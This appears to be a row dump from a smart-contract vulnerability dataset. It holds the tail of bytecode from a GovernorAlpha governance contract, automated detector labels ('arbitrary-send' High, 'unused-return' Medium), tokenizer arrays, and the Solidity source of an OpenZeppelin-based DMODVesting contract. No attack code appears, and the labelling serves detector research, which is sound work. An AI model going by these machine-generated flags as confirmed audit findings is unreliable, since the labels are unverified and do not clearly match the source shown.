100020316600290046000825580601f1061219f57506121bd565b601f0160209004906000526020600020908101906121bd91906120ac565b50565b803561174e81613844565b600082601f8301126121dc57600080fd5b81356121ef6121ea826136e2565b6136bb565b9150818183526020840193506020810190508385602084028201111561221457600080fd5b60005b83811015612240578161222a88826121c0565b8452506020928301929190910190600101612217565b5050505092915050565b600082601f83011261225b57600080fd5b81356122696121ea826136e2565b81815260209384019390925082018360005b83811015612240578135860161229188826123a0565b845250602092830192919091019060010161227b565b600082601f8301126122b857600080fd5b81356122c66121ea826136e2565b81815260209384019390925082018360005b8381101561224057813586016122ee88826123a0565b84525060209283019291909101906001016122d8565b600082601f83011261231557600080fd5b81356123236121ea826136e2565b9150818183526020840193506020810190508385602084028201111561234857600080fd5b60005b83811015612240578161235e888261238a565b845250602092830192919091019060010161234b565b803561174e81613858565b805161174e81613858565b803561174e81613861565b805161174e81613861565b600082601f8301126123b157600080fd5b81356123bf6121ea82613703565b915080825260208301602083018583830111156123db57600080fd5b6123e68382846137da565b50505092915050565b600082601f83011261240057600080fd5b815161240e6121ea82613703565b9150808252602083016020830185838301111561242a57600080fd5b6123e68382846137e6565b803561174e8161386a565b805161174e81613873565b60006020828403121561245d57600080fd5b600061246984846121c0565b949350505050565b600080600080600060a0868803121561248957600080fd5b853567ffffffffffffffff8111156124a057600080fd5b6124ac888289016121cb565b955050602086013567ffffffffffffffff8111156124c957600080fd5b6124d588828901612304565b945050604086013567ffffffffffffffff8111156124f257600080fd5b6124fe888289016122a7565b935050606086013567ffffffffffffffff81111561251b57600080fd5b6125278882890161224a565b925050608086013567ffffffffffffffff81111561254457600080fd5b612550888289016123a0565b9150509295509295909350565b60006020828403121561256f57600080fd5b6000612469848461237f565b60006020828403121561258d57600080fd5b60006124698484612395565b6000602082840312156125ab57600080fd5b815167ffffffffffffffff8111156125c257600080fd5b612469848285016123ef565b6000602082840312156125e057600080fd5b6000612469848461238a565b600080604083850312156125ff57600080fd5b600061260b858561238a565b925050602061261c858286016121c0565b9150509250929050565b6000806040838503121561263957600080fd5b6000612645858561238a565b925050602061261c85828601612374565b600080600080600060a0868803121561266e57600080fd5b600061267a888861238a565b955050602061268b88828901612374565b945050604061269c88828901612435565b93505060606126ad8882890161238a565b92505060806125508882890161238a565b6000602082840312156126d057600080fd5b60006124698484612440565b60006126e88383612717565b505060200190565b6000611c5283836128b9565b60006126e8838361289f565b612711816137b2565b82525050565b61271181613768565b600061272b8261375b565b612735818561375f565b935061274083613749565b8060005b8381101561276e57815161275888826126dc565b975061276383613749565b925050600101612744565b509495945050505050565b60006127848261375b565b61278e818561375f565b9350836020820285016127a085613749565b8060005b858110156127da57848403895281516127bd85826126f0565b94506127c883613749565b60209a909a01999250506001016127a4565b5091979650505050505050565b60006127f28261375b565b6127fc818561375f565b93508360208202850161280e85613749565b8060005b858110156127da578484038952815161282b85826126f0565b945061283683613749565b60209a909a0199925050600101612812565b60006128538261375b565b61285d818561375f565b935061286883613749565b8060005b8381101561276e57815161288088826126fc565b975061288b83613749565b92505060010161286c565b61271181613773565b6127118161048f565b6127116128b48261048f565b61048f565b60006128c48261375b565b6128ce818561375f565b93506128de8185602086016137e6565b6128e781613812565b9093019392505050565b60008154600181166000811461290e576001811461295257612991565b607f600283041661291f818761375f565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0084168152955050602085019250612991565b60028204612960818761375f565b955061296b8561374f565b60005b8281101561298a5781548882015260019091019060200161296e565b8701945050505b505092915050565b612711816137b9565b612711816137c4565b60006129b860448361375f565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c792062652071756575656420696620697420697320737563636560208201527f6564656400000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612a3d60458361375f565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208201527f7565756564000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612ac26002836109b5565b7f1901000000000000000000000000000000000000000000000000000000000000815260020192915050565b6000612afb60298361375f565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707281527f6f706f73616c2069640000000000000000000000000000000000000000000000602082015260400192915050565b6000612b5a602d8361375f565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081527f616c726561647920766f74656400000000000000000000000000000000000000602082015260400192915050565b6000612bb960598361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612c3e60288361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981527f20616374696f6e73000000000000000000000000000000000000000000000000602082015260400192915050565b6000612c9d60118361375f565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000815260200192915050565b6000612cd66043836109b5565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430192915050565b6000612d5b6027836109b5565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207381527f7570706f72742900000000000000000000000000000000000000000000000000602082015260270192915050565b6000612dba60448361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208201527f6174636800000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612e3f602f8361375f565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081527f61626f7665207468726573686f6c640000000000000000000000000000000000602082015260400192915050565b6000612e9e60448361375f565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208201527f2065746100000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612f23602c8361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81527f7669646520616374696f6e730000000000000000000000000000000000000000602082015260400192915050565b6000612f82603f8361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612fe1602f8361375f565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81527f76616c6964207369676e61747572650000000000000000000000000000000000602082015260400192915050565b600061304060588361375f565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006130c560368361375f565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636181527f6e63656c2065786563757465642070726f706f73616c00000000000000000000602082015260400192915050565b6000613124602a8361375f565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6781527f20697320636c6f73656400000000000000000000000000000000000000000000602082015260400192915050565b600061318360158361375f565b7f7375627472616374696f6e20756e646572666c6f770000000000000000000000815260200192915050565b805160608301906131c08482612896565b5060208201516131d36020850182612896565b5060408201516131e660408501826131fe565b50505050565b6127118161379b565b612711816137cf565b612711816137a1565b600061321282612ab5565b915061321e82856128a8565b60208201915061322e82846128a8565b5060200192915050565b600061174e82612cc9565b600061174e82612d4e565b6040810161325c8285612708565b611c52602083018461289f565b6040810161325c8285612717565b608081016132858287612717565b613292602083018661289f565b61329f6040830185612896565b6113c760608301846131f5565b60a081016132ba8288612717565b6132c7602083018761289f565b81810360408301526132d981866128b9565b905081810360608301526132ed81856128b9565b90506132fc608083018461289f565b9695505050505050565b60a081016133148288612717565b613321602083018761289f565b818103604083015261333381866128f1565b905081810360608301526132ed81856128f1565b608080825281016133588187612720565b9050818103602083015261336c8186612848565b9050818103604083015261338081856127e7565b905081810360608301526132fc8184612779565b6020810161174e828461289f565b608081016133b0828761289f565b6133bd602083018661289f565b6133ca604083018561289f565b6113c76060830184612717565b606081016133e5828661289f565b6133f2602083018561289f565b6124696040830184612896565b6080810161340d828761289f565b61341a60208301866131ec565b613427604083018561289f565b6113c7606083018461289f565b6020810161174e8284612999565b6020810161174e82846129a2565b60208082528101611c5281846128b9565b6020808252810161174e816129ab565b6020808252810161174e81612a30565b6020808252810161174e81612aee565b6020808252810161174e81612b4d565b6020808252810161174e81612bac565b6020808252810161174e81612c31565b6020808252810161174e81612c90565b6020808252810161174e81612dad565b6020808252810161174e81612e32565b6020808252810161174e81612e91565b6020808252810161174e81612f16565b6020808252810161174e81612f75565b6020808252810161174e81612fd4565b6020808252810161174e81613033565b6020808252810161174e816130b8565b6020808252810161174e81613117565b6020808252810161174e81613176565b6060810161174e82846131af565b610120810161358e828c61289f565b61359b602083018b612708565b81810360408301526135ad818a612720565b905081810360608301526135c18189612848565b905081810360808301526135d581886127e7565b905081810360a08301526135e98187612779565b90506135f860c083018661289f565b61360560e083018561289f565b81810361010083015261361881846128b9565b9b9a5050505050505050505050565b6101208101613636828c61289f565b613643602083018b612717565b613650604083018a61289f565b61365d606083018961289f565b61366a608083018861289f565b61367760a083018761289f565b61368460c083018661289f565b61369160e0830185612896565b61369f610100830184612896565b9a9950505050505050505050565b6040810161325c828561289f565b60405181810167ffffffffffffffff811182821017156136da57600080fd5b604052919050565b600067ffffffffffffffff8211156136f957600080fd5b5060209081020190565b600067ffffffffffffffff82111561371a57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061174e82613782565b151590565b806109b58161383a565b73ffffffffffffffffffffffffffffffffffffffff1690565b60ff1690565b6bffffffffffffffffffffffff1690565b600061174e825b600061174e82613768565b600061174e82613778565b600061174e826137a1565b82818337506000910152565b60005b838110156138015781810151838201526020016137e9565b838111156131e65750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690565b600881106121bd57fe5b61384d81613768565b81146121bd57600080fd5b61384d81613773565b61384d8161048f565b61384d8161379b565b61384d816137a156fea365627a7a723158209a0e0b9965172fc232a8cc210ea5a7f4e3a3c104910e315ae03064fc5094ec226c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22610, 2509, 2050, 20842, 2683, 2581, 2278, 19961, 2050, 2475, 14141, 2692, 12879, 2692, 19961, 19961, 14526, 2629, 2278, 2575, 22025, 2683, 10732, 21486, 2278, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 3206, 3099, 2389, 21890, 1063, 1013, 1013, 1013, 1030, 5060, 1996, 2171, 1997, 2023, 3206, 5164, 2270, 5377, 2171, 1027, 1000, 2033, 15568, 4048, 3099, 6541, 1000, 1025, 1013, 1013, 1013, 1030, 5060, 1996, 2193, 1997, 4494, 1999, 2490, 1997, 1037, 6378, 3223, 1999, 2344, 2005, 1037, 22035, 6824, 2000, 2022, 2584, 1998, 2005, 1037, 3789, 2000, 9510, 3853, 22035, 6824, 22994, 2229, 1006, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,750
0x974741488dD707Fee48d0dDE79CA28C73e9935BF
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/drafts/TokenVesting.sol pragma solidity ^0.5.0; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(!_revoked[address(token)], "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } } // File: TokenVesting.sol // SPDX-License-Identifier: MIT pragma solidity 0.5.5; contract DMODVesting is TokenVesting { /** * @notice Construct a new Funds Distributor Contract * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor(address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) TokenVesting(beneficiary, start, cliffDuration, duration, revocable) public { } }
